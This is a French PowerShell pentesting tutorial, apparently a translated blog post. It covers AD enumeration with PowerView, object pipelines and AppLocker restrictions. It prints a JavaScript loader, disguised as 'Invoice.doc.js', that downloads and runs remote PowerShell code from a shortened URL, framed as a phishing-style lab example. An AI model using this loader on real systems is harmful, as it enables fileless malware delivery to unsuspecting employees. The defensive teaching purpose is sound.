Les pirates aiment utiliser PowerShell pour exécuter des «logiciels malveillants sans fichier», des logiciels malveillants incorporels qui ne sont pas des binaires traditionnels avec du code malveillant compilé, et pour cette raison, ils ne peuvent parfois pas être détectés par les solutions antivirus.
Bien entendu, PowerShell a toujours eu un objectif tout à fait normal, qui au départ n'avait rien à voir avec les tests de pénétration. Ceux d'entre vous qui veulent connaître le contexte de PowerShell devraient lire le célèbre
manifeste Monad . Écrit par l'un des développeurs d'origine, ce manifeste explique pourquoi Microsoft avait besoin d'un nouveau langage de script (en d'autres termes, des scripts), qui s'est finalement transformé en PowerShell.
Pour vous éviter d'avoir à consulter un long document de 17 pages, je vais vous révéler le principal facteur de motivation qui a incité les auteurs de PowerShell: il était censé permettre aux administrateurs système d'accéder aux objets .Net à partir de la ligne de commande, permettant ainsi l'automatisation du flux de travail au niveau du système, plutôt que au niveau de la programmation approfondie en C # ou C ++.
Si vous voulez des preuves réelles de l'efficacité de PowerShell (ci-après dénommé PS), demandez à vos administrateurs système comment ils ajoutent massivement des utilisateurs à Active Directory ou effectuent des paramètres de sécurité rapides. Vous en apprendrez très probablement sur les
solutions PowerShell . En bref: PS est un excellent moyen de réduire les routines et d'augmenter la productivité des administrateurs.
Pourquoi utiliser PowerShell pour les pentests?
Malheureusement, ce qui est si bien adapté en tant qu'outil d'automatisation puissant pour les administrateurs est finalement utile pour les pirates et les testeurs de pénétration.
Supposons qu'un administrateur informatique ait été chargé de déterminer qui utilise réellement un serveur sous-chargé. À l'aide de PowerShell et de la bibliothèque de fonctions avancées
PowerView , l'administrateur système peut afficher rapidement les utilisateurs connectés au serveur
, sans avoir besoin d' être connecté à ce serveur lui-même:
Cependant, les cybercriminels qui avaient précédemment obtenu un accès via une attaque de phishing peuvent également faire de même, comme ils peuvent utiliser les mêmes fonctionnalités dans un domaine Active Directory (ci-après dénommé AD). Et leurs activités ne seront pas nécessairement détectées: un analyste de la sécurité de l'information qui surveille l'utilisation des applications peut conclure que, puisqu'il
ne s'agit que de PowerShell, il doit être inoffensif .
Pour aggraver encore plus cet exemple, les pirates peuvent même obtenir toutes les informations détaillées sur les utilisateurs individuels à l'aide de la commande Get-NetUser, qui videra tous les attributs utilisateur dans AD:
Malheureusement, les entreprises négligent parfois les attributs AD qu'elles rendent publics pour tous les employés - par exemple, domicile ou téléphone portable, adresse, etc. Avant PowerShell, il était beaucoup plus difficile de collecter toutes ces données depuis AD, mais ce n'est pas le cas!
Que peuvent faire les attaquants avec ces informations? Ils peuvent facilement profiter des méthodes d'
ingénierie sociale et développer une attaque pour cela: peut-être en envoyant
Un e-mail avec suffisamment de contexte personnel dérivé des attributs AD pour ressembler à une demande d'assistance légitime vous demandant de «réinitialiser votre mot de passe».
Soit dit en passant, vous pouvez également appliquer le contrôle ACL aux attributs AD, il existe donc un (!) Moyen de réduire le risque d'attaques de ce type. Et c'est l'un de ces résultats positifs que vous pouvez obtenir de votre propre expérience de test de pénétration.
Tutoriel PowerShell Pentester
À l'aide de PowerShell, les attaquants peuvent collecter discrètement des données utilisateur internes, puis les utiliser dans leurs attaques. Mais il n'y a aucune raison pour que le personnel informatique ou de sécurité de l'information ne puisse pas également apprendre suffisamment PowerShell pour démarrer ses propres tests et apprendre à comprendre l'état d'esprit et les motivations du pirate.
La première chose intéressante à propos de PowerShell est que tous les anciens scripts et fichiers bat que vous avez exécutés à partir de la ligne de commande cmd.exe fonctionnent toujours dans la console PowerShell. Déjà pas mal, non?
Le prochain point important est que, contrairement aux shells de type Linux, PowerShell traite tout comme
un objet . Même la sortie d'une commande (pensez seulement) est également un objet.
Par exemple, entrez la commande
Get-ChildItem (ou l'applet de commande d'une manière différente, car les commandes sont appelées dans le monde PS) dans la console, et vous verrez une liste de fichiers dans le répertoire actuel:
Encodage PowerShell
Supposons que vous vouliez écrire un script PS dans lequel seuls les fichiers de
plus de 10 Mo sont affichés - par exemple, pour vérifier rapidement quels fichiers occupent beaucoup d'espace. Cette tâche sera beaucoup plus difficile à résoudre dans la sortie de chaîne, disons, du shell bash. Cependant, dans PowerShell, la sortie de toute commande est elle-même un objet avec un ensemble d'
attributs .
Pour voir cela, passez simplement la sortie GetChildItem à
Get-Member , qui vous indiquera les attributs de l'applet de commande PS:
Ainsi, nous avons maintenant des identifiants pour deux attributs qui nous intéressent: la longueur «longueur» et le nom «nom», auxquels nous pouvons nous référer par programmation. 5 minutes - vol normal.
Pour faire face à la situation fréquente où les objets sont parfois dans des tableaux ou des collections, nous utiliserons l'
opérateur PS
ForEach pour parcourir le tableau.
Pour rendre les choses encore plus faciles, un alias ou un alias "%" signifie "ForEach" et "$ _" représente l'objet actuel.
Exécution de commandes à l'aide de PowerShell
Tirons nos deux colonnes de sortie de la commande GetChildItem en fonction de nos nouvelles connaissances. L'exemple ci-dessous est un pipeline avec Get-ChildItem qui alimente l'instruction ForEach, qui affiche uniquement les valeurs des attributs «longueur» et «nom»:
get-childitem | % {write-host $_.length $_.name -separator "`t`t"}
Et voici le résultat de l'exécution des commandes:
Pour terminer notre magnifique exemple, ajustons notre script pour ne produire que des fichiers volumineux, disons, plus de 10 Mo. Pour ce faire, nous utilisons un filtre appelé
applet de commande Where-Object avec l'alias pratique "?". Il possède tous les opérateurs de comparaison habituels (-gt, -eq, -lt, etc.). Nous l'insérons au milieu du pipeline et du nôtre le script ressemble maintenant à ceci:
get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"}
En tant qu'exercice, essayez d'exécuter la création PS ci-dessus dans votre propre environnement.
Tutoriel: Exemple de test de pénétration PowerShell
Avec cette petite expérience avec PowerShell, nous sommes prêts à prendre un exemple pentest très réel. L'un des moyens les plus rapides d'entrer dans un pentest est d'utiliser PowerShell pour masquer la charge utile. Nous avons écrit sur la façon
de le faire ici .
L'idée est de cacher notre code PowerShell dans un document Office standard avec le suffixe .doc. En fait, le fichier aura l'extension .js, et lorsqu'il est cliqué, il active le
lancement d'un script Windows pour exécuter JavaScript, qui lancera ensuite le code PowerShell intégré.
Un peu déroutant, non? Mais les vrais pirates utilisent non pas un, mais plusieurs niveaux d'imbrication et d'obscurcissement afin de cacher et de confondre leur attaque autant que possible.
Bootloader et préparation de la charge utile
Voici à quoi ressemble le script:
a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true);
Vous collez le code ci-dessus dans un fichier texte et le renommez quelque chose comme
Invoice.doc.js . Le
code JavaScript ci-dessus agit comme un chargeur qui s'exécute à l'aide des applets de
commande PowerShell
NetWebClient et
Invoke-Expression intégrées, qui sont elles-mêmes des alias avec "%".
La méthode
DownloadString de la cmdlet NetWebClient extrait à distance la charge utile réelle, qui fait finalement tout le sale boulot pour nous.
Vous pouvez insérer votre propre URL pointant vers votre propre programme de test. Eh bien, l'applet de commande Invoke-Expression accepte le code de notre fichier malveillant, puis l'exécute.
Découvrez-le!
Dans mon cas, l'URL pointe vers un projet Github contenant une simple commande PS Write-Host qui affichera un message inoffensif mais important pour toute l'humanité. Dans une véritable attaque, un fichier d'un tel scénario pourrait bien être joint à une liste de diffusion de phishing, ce qui attirerait un employé sans méfiance dans un piège de curiosité. Et la charge utile sera beaucoup plus destructrice.
Vous pouvez essayer ceci sur votre propre installation. Et si tout ce qui précède fonctionne avec succès, alors vous avez une tâche urgente et importante de plus, qui doit être effectuée sans échec.
Avantages des tests de pénétration
Cela nous amène aux raisons pour lesquelles nous faisons des tests de pénétration. Voici trois avantages réels qui viennent à l'esprit en premier:
- En explorant les équipes PowerShell en tant que pentester, vous comprendrez comment les pirates informatiques «piratent» ce merveilleux langage de script de nouvelle génération. Considérez simplement la combinaison des méthodes DownloadString et Invoke-Expression, permettant aux attaquants d'extraire du code malveillant à distance sur le site de la victime sans avoir besoin de l'enregistrer entre les deux.
- Cet exercice met également l'accent sur le secret d'un pirate informatique moderne. J'ai montré dans l'exemple ci-dessus un schéma d'attaque qui ne laisse aucun fichier autour. Par conséquent, vous ne pouvez pas utiliser des méthodes standard basées sur les signatures pour détecter de manière fiable une attaque effectuée à l'aide de PowerShell. Trite, nous n'avons pas la signature du malware lui-même pour comparaison.
- Vous allez probablement commencer à explorer des moyens de restreindre PowerShell et d'autres méthodes basées sur des scripts. En fin de compte, l'attaque commence par un script, donc si les entreprises rendent difficile l'exécution de scripts, elles peuvent réduire considérablement leur profil de risque.
Permettez-moi de développer le dernier point. Vous ne voudrez probablement pas interdire complètement PowerShell (ou JavaScript), car il s'agit d'une partie fondamentale du logiciel système Windows. Heureusement, Microsoft a un moyen de désactiver sélectivement les scripts (et autres exécutables) via
AppLocker , une version améliorée des anciennes stratégies de restriction logicielle dans les stratégies de groupe (GPO) modernes.
Cela peut sembler incroyable aux techniciens, mais la plupart des utilisateurs ordinaires n'ont pas besoin de PowerShell ou d'autres langages de script pour faire leur travail quotidien. Bien sûr, c'est choquant, je sais! AppLocker, par exemple, peut être configuré pour désactiver l'accès PowerShell pour les masses, tout en permettant aux administrateurs système de continuer à travailler dur.
Les attaques basées sur des scripts, y compris celles liées aux pièces jointes aux e-mails, dépendent des administrateurs pour fournir aux employés des autorisations de script trop larges. Et cela ne devrait pas en être ainsi!